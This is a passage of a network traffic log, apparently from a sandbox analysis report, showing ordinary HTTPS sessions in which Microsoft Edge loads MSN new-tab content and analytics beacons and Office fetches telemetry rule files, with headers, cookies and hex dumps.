xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-09 21:09:47 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 09 Nov 2024 21:08:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C524_BAY x-ms-request-id: 5c845410-3702-491c-a3c8-4ff10d2c2b6b PPServer: PPV: 30 H: PH1PEPF0001B8AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 09 Nov 2024 21:09:46 GMT Connection: close Content-Length: 11392
2024-11-09 21:09:47 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49894	3.168.2.47	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:46 UTC	925	OUT	GET /b?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 09 Nov 2024 21:09:47 GMT Location: /b2?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B42f4103cd219d11b9809b1731186587; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B42f4103cd219d11b9809b1731186587; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a16960b22c9ec86bb65015699e459bd8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P2 X-Amz-Cf-Id: wSg0CFJgFD6u4SrFpyl1cnUG88f2uA4xAGBUbBLwvbacUav2bTjqVw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:47 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210947Z-16547b76f7fkcrm9hC1DFWxdag0000000btg00000000aawh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49893	20.125.209.212	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	1175	OUT	GET /c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
2024-11-09 21:09:47 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E74B85AA8FF2479AA80487924EBFDDA9&RedC=c.msn.com&MXFR=0722F0CD1C5A69A60479E5FF1DAB68A5 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; domain=.msn.com; expires=Thu, 04-Dec-2025 21:09:47 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 09 Nov 2024 21:09:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49891	20.189.173.4	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731186584990&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3765 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
2024-11-09 21:09:47 UTC	3765	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 39 54 32 31 3a 30 39 3a 34 34 2e 39 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 36 63 61 64 62 64 32 2d 35 61 37 36 2d 34 33 35 30 2d 61 33 31 38 2d 38 32 65 33 33 32 35 62 39 33 33 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 33 33 32 34 31 37 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-09T21:09:44.985Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"46cadbd2-5a76-4350-a318-82e3325b933f","epoch":"2833241740"},"app":{"locale
2024-11-09 21:09:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1742f55bf31b4a089c792618753301cb&HASH=1742&LV=202411&V=4&LU=1731186587256; Domain=.microsoft.com; Expires=Sun, 09 Nov 2025 21:09:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5ebd78049a12446e925738f08501f0d8; Domain=.microsoft.com; Expires=Sat, 09 Nov 2024 21:39:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2266 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 09 Nov 2024 21:09:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49895	20.99.185.48	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0722F0CD1C5A69A60479E5FF1DAB68A5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=17d64cd51cfb4c9fbc09d85d82c00702 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0722F0CD1C5A69A60479E5FF1DAB68A5; _EDGE_S=F=1&SID=37668B7EFE75664B298B9E4CFFCE6792; _EDGE_V=1
2024-11-09 21:09:47 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210947Z-16547b76f7flf9g6hC1DFWmcx8000000025g00000000gvqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:47 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: f884d1af-801e-008f-4f68-322c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210947Z-17df447cdb5jg4kthC1DFWux4n00000007w000000000mpr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49901	23.47.50.162	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:47 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 22 Oct 2024 04:03:30 GMT X-Datacenter: eastus X-ActivityId: d4fd7b88-9257-40df-8493-b210fe5cec5b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCB X-Source-Length: 41593 Content-Length: 41593 Cache-Control: public, max-age=370505 Expires: Thu, 14 Nov 2024 04:04:52 GMT Date: Sat, 09 Nov 2024 21:09:47 GMT Connection: close
2024-11-09 21:09:47 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-09 21:09:47 UTC	16384	IN	Data Raw: 98 94 fa 17 90 0d 67 2d ce 3e d8 cc cf 67 d0 f3 3e a7 cd f3 bf f3 66 9c d7 84 6e a0 bf d2 a9 5f 4d 1c 3e e1 e6 a9 8f ac cc 6f 35 d8 e6 2e b3 8d cc 9a c0 ec d6 6d 67 16 b2 6b 11 2b bb 59 3d c3 87 58 ba cb 0a ec 73 26 b3 8f 51 b5 88 95 d7 ac ba 8e 2d 63 ea 10 ae 97 21 35 02 b1 5b 35 0a 36 a2 6a 01 64 b2 a5 1f 51 75 1c d6 32 05 1a cd 60 75 1a c1 5d 2a 45 b0 01 2c 90 a2 d8 c9 81 b1 ec 8d 51 90 54 73 a9 0e a4 48 b5 d0 86 b0 1a 8b a8 8d 57 42 65 d4 73 ea 2d 88 3a 35 1a ce 6b a2 ea 0b 47 b3 58 1d 46 d4 11 d0 a4 c6 b3 9a cb a8 28 ea 4d 05 8c e8 e5 d4 2e a2 a3 bf de 5f 51 3d ef 13 8a c1 b6 ca 57 7b ce 85 79 a3 e0 79 ce 42 6a 34 cd 7a 1e e8 37 34 ce 3b 36 a2 a5 75 6a 14 0e a2 6a 34 cd 74 24 97 8a 35 a3 9b 51 b5 9a ac 8f c4 80 f5 97 dc 52 4e 9e ff 00 79 43 6a 49 d5 Data Ascii: g->g>fn_M>o5.mgk+Y=Xs&Q-c!5[56jdQu2`u]*E,QTsHWBes-:5kGXF(M._Q=W{yyBj4z74;6ujj4t$5QRNyCjI
2024-11-09 21:09:47 UTC	1200	IN	Data Raw: c4 9f 6a 11 ea c7 2b fc 07 4f 9a af f9 f5 3f 24 bf c0 75 3b 7f 6f a7 d7 d2 4d 5d 47 cc c7 3f a8 25 57 09 5f 07 52 be e4 da f9 0f ab 9e 93 db 3a 5d 1a 5f df 11 0e d8 fa 2d 5f ad 8d 67 cc 3c bc fe 27 b6 9c bd 2d b5 f2 44 fe 6b 9d 97 07 8e 1d 14 fe f5 f7 8e ba 76 c7 d3 ea 65 d4 7c c4 b9 8f 50 82 d5 fc 3c 9d 0a e2 fe 4c 9f cf f3 d5 52 c3 1c 7d 2d b7 f0 a1 d7 53 b6 3e a9 33 59 f3 3f cc fa 84 55 d6 29 74 2d 9f de 68 fa 87 39 fa 5c b4 be 8e 2f ef b1 d7 57 b6 7b be 9a c9 a8 f9 df e7 f9 b7 f9 70 42 5d 1a a9 fc 48 bd 4b 9a fd 2e 4f 27 d1 c1 ff 00 e2 b1 d7 4e dc 7d df 47 a8 9a cf 9d fe f3 cd ff 00 f0 d2 fa b4 9f c7 6f 88 39 7a ae 48 f1 e5 33 7c 3e e6 3a e9 db 3d df 4d ac 5d 67 cd ff 00 7a cb c7 96 ca ba d5 7c f6 33 f5 78 ae 38 33 ff 00 66 fe 43 ae fb 27 6c 